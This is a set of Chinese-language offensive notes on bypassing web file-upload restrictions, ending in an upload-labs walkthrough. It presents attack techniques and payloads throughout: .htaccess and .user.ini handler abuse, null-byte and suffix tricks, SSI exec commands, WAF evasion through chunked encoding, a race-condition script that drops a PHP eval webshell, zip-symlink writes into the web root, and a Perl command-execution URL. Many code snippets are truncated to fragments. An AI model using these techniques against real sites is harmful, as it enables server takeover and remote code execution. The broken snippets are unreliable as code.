文件上传
- MIME类型检测
MIME类型在html文件中使用content-type
属性表示
常见文件名对应的MIME类型:
gif —> image/gif,png —> image/png,jpg —> image/jpg,js —> text/javascript,htm/html —> text/html
大小写绕过
例如Php,PhP
文件名逻辑漏洞
Nginx 0.8.41 -1.4.3 / 1.5.0 – 1.5.7
上传png后访问png0x00.php即解析为php
某些情况下构造1.PHP. .(点空格点)
后缀变形
Apache服务中可以利用黑名单中没有的,但是又能够被解析的后缀名
例如
php、php3、php4、php5、php7、pht、phtml、phps
00截断
注:需要magic_quotes_gpc=Off,php版本小于5.3.29
POST情况下在第一个后缀名后加一个空格(0x20
),使用bp->repeater->hex,将其改成0x00
- .htaccess文件上传解析
该文件可以理解为Apache的分布式配置文件,在一个特定的文档中放置,以作用于此目录及其所有子目录,管理员可以通过Apache的AllowOverride指令来设置/etc/apache2/apache2.conf
,默认是NONE,需要为ALL
1 | <FilesMatch "xxx.jpg"> |
使用伪协议读取:
1 | AddType application/x-httpd-php .xxx |
不能出现某些关键字(如ph
或php
)时,使用反斜杠(\
)拼接绕过,并开启短标签:
1 | AddType application/x-httpd-p\ |
绕过 exif_imagetype()
读取一个图像的第一个字节并检查其签名:
1 | 方法1: |
绕过<?=过滤
1 | utf-7编码绕过 |
- 自包含
当前目录无php文件,自包含步骤
a.设置访问权限
1 | <Files ~ "^.ht"> Require all granted Order allow,deny Allow from all</Files> |
b. .htaccess 指定当做 PHP 文件处理并解析
1 | SetHandler application/x-httpd-php# <?php phpinfo();?> |
c.最终
1 | <Files ~ "^.ht"> |
- .user.ini上传
条件:
a. 服务器脚本语言为PHP
b. 服务器使用CGI/FastCGI模式
c. 上传目录下要有可执行的php文件
实例:
上传.user.ini
绕过黑名单检验
1 | GIF89a //绕过exif_imagetype() |
也可以进行远程文件包含
1 | auto_append_file=http:// |
优势:
跟.htaccess
后门比,适用范围更广,nginx/apache/IIS都有效,而.htaccess
只适用于apache
- 超长文件名截断上传
1 | windows下目录路径最大长度为256字节 |
使用./
或.
把最后的.jpg挤出去
- 二次渲染绕过
脚本……
- 上传svg
如果可以上传svg文件,那么必然存在xss,因为svg图片内容为xml标签
- shtml(SSI注入)
当Web服务器为Apache和IIS(支持SSI功能的服务器)且开启了SSI与CGI支持
1 | <!--#exec cmd="dir /"--> |
其他拓展名:.stm
,.shtml
,.shtm
- (黑名单)NTFS隐写
Windows 下 NTFS 文件系统的一个特性,即 NTFS 文件系统的存储数据流的一个属性::$DATA,当访问a.php::$DATA就会访问 a.php,这个特点可以用于黑名单绕过
- HTTP请求走私或双写文件或分块传输
仅支持HTTP1.1
分块传输消息体格式
1 | 如要发送的内容(消息体)为:123456789 |
分块传输可以在长度标识处加上;
作为注释,这样能够识别Transfer-Encoding数据包的waf就无法识别出该数据包了
1 | 9;kkkkk |
Burp 分块传输插件项目地址:https://github.com/c0ny1/chunked-coding-converter
- 配合Apache的解析缺陷
Apache的解析漏洞主要特性是从后面开始检查后缀,按最后一个合法后缀
1 | Apache2.4.7+php5 |
竞争上传
情景
文件上传后,检测是否合法,不合法就删除
利用方式
在删除前访问到上传的文件
1
2
3
4
5<?php
$file = 'web.php';
$shell = '<?php eval($_POST["key"])?>';
file_put_contents($file,$shell);
?>
软链接任意写(unzip)
unzip()
存在软链接攻击,发现可以通过上传一个软链接的压缩包,把特定文件像个钩子一样勾出来,实现任意文件读取
1 | ln -s // linux的软链接 类似快捷方式 |
操作方式
先构造一个指向 /var/www/html 的软连接:
1 | ln -s /var/www/html test |
此时上传该test.zip,解压出里边的文件也是软连接 /var/www/html 目录下
接下来的思路就是想办法构造一个getshell文件让getshell文件正好解压在 /var/www/html,此时就可以getshell
构造第二个压缩包,先创建一个test目录(因为上一个压缩包里边目录就是test),在test目录下写一个shell文件,再压缩创建的test目录 此时压缩包目录架构是:test/cmd.php
1 | mkdir test |
当上传这个压缩包时会覆盖上一个test目录,但是test目录软链接指向 /var/www/html,解压的时候会把cmd.php放在 /var/www/html,此时达到了getshell的目的
只解压一半的压缩包(解压出错)
- Windows 7zip
7zip的容忍度很低,只要压缩包中某一个文件的CRC校验码出错,就会报错退出。
修改方法:
准备两个文件,一个PHP文件1.php,一个文本文件2.txt,其中1.php是webshell,然后将这两个文件压缩成shell.zip
用010editor打开shell.zip,可以看到右下角有这个文件的格式信息,它被分成5部分,打开第4部分,其中有个deCrc,随便把值改成其他的值,然后保存
此时用7zip解压就会出错,解压出的1.php是完好的,2.txt是一个空文件
- PHP ZipArchive库
ZipArchive容忍度比较高,可以在文件名上下功夫
比如,Windows下不允许文件名中包含冒号(:),可以在010editor中将2.txt的deFileName属性的值改成2.tx:,此时解压就会出错,但1.php被保留了下来
在Linux中也有类似的方法,可以将文件名改为5个斜杠(/////),此时Linux下解压也会出错,但1.php被保留了下来
Tmp脚本爆破随机临时文件名
1 | #coding:utf-8 |
Perl网站配合文件上传
1 | use strict; |
param()
返回一个列表的文件,但只有第一个文件被放入到下文接收变量中,如果我们传入了一个ARGV文件,那么Perl会将传入的参数作为文件名读出来.对正常文件上传进行修改即可
- 读取任意文件
- 命令执行
1 | /cgi-bin/file.pl?/bin/bash%20-c%20ls${IFS}/| |
upload靶场
更改content-type类型
1 | ($_FILES['upload_file']['type'] == 'image/jpeg') ||($_FILES['upload_file']['type'] == 'image/png' |
上传.php文件抓包修改content-type类型为:image/jpeg、image/png、image/gif
上传未禁止类型
1 | $deny_ext = array('.asp','.aspx','.php','.jsp'); |
jsp jspx jspf asp asa cer aspx php php3 php4 php5 phtml
.htaccess文件绕过
上传一个.htaccess文件名的文件内容为
1 | SetHandler application/x-httpd-php //这个是所有文件都当php读取 |
在上传一个jpg文件
.user.ini
先上传一个内容是的.user.ini文件
1 | auto_prepend_file=5.jpg |
然后上传5.jpg文件,复制图像地址,将文件名改为readme.php
图片马
图片马制作
1 | copy zf.jpeg/b + zf.txt/a zf.jpg |
直接上传zf.jpg文件利用文件包含漏洞访问,但是注意有时无法通过传参访问,可以通过访问写一个一句话木马上传14.php
1 |
|
修改 Content-Type : multipart/form-data 并更改文件名后缀为可上传的文件
首先上传一个jpg文件更改Content-Type:multipart/form-data 为其中一个为大写及Content-Type:Multipart/form-data绕过
1 | if (strpos($type,“multipart/form-data”) !== False) |
由于strpos()函数是区分大小写的所以此方法可以绕过.
1 | allowexts = array('jpg','gif','jpeg','bmp','php4'); |
由于是白名单所以只能上传php4为后缀的文件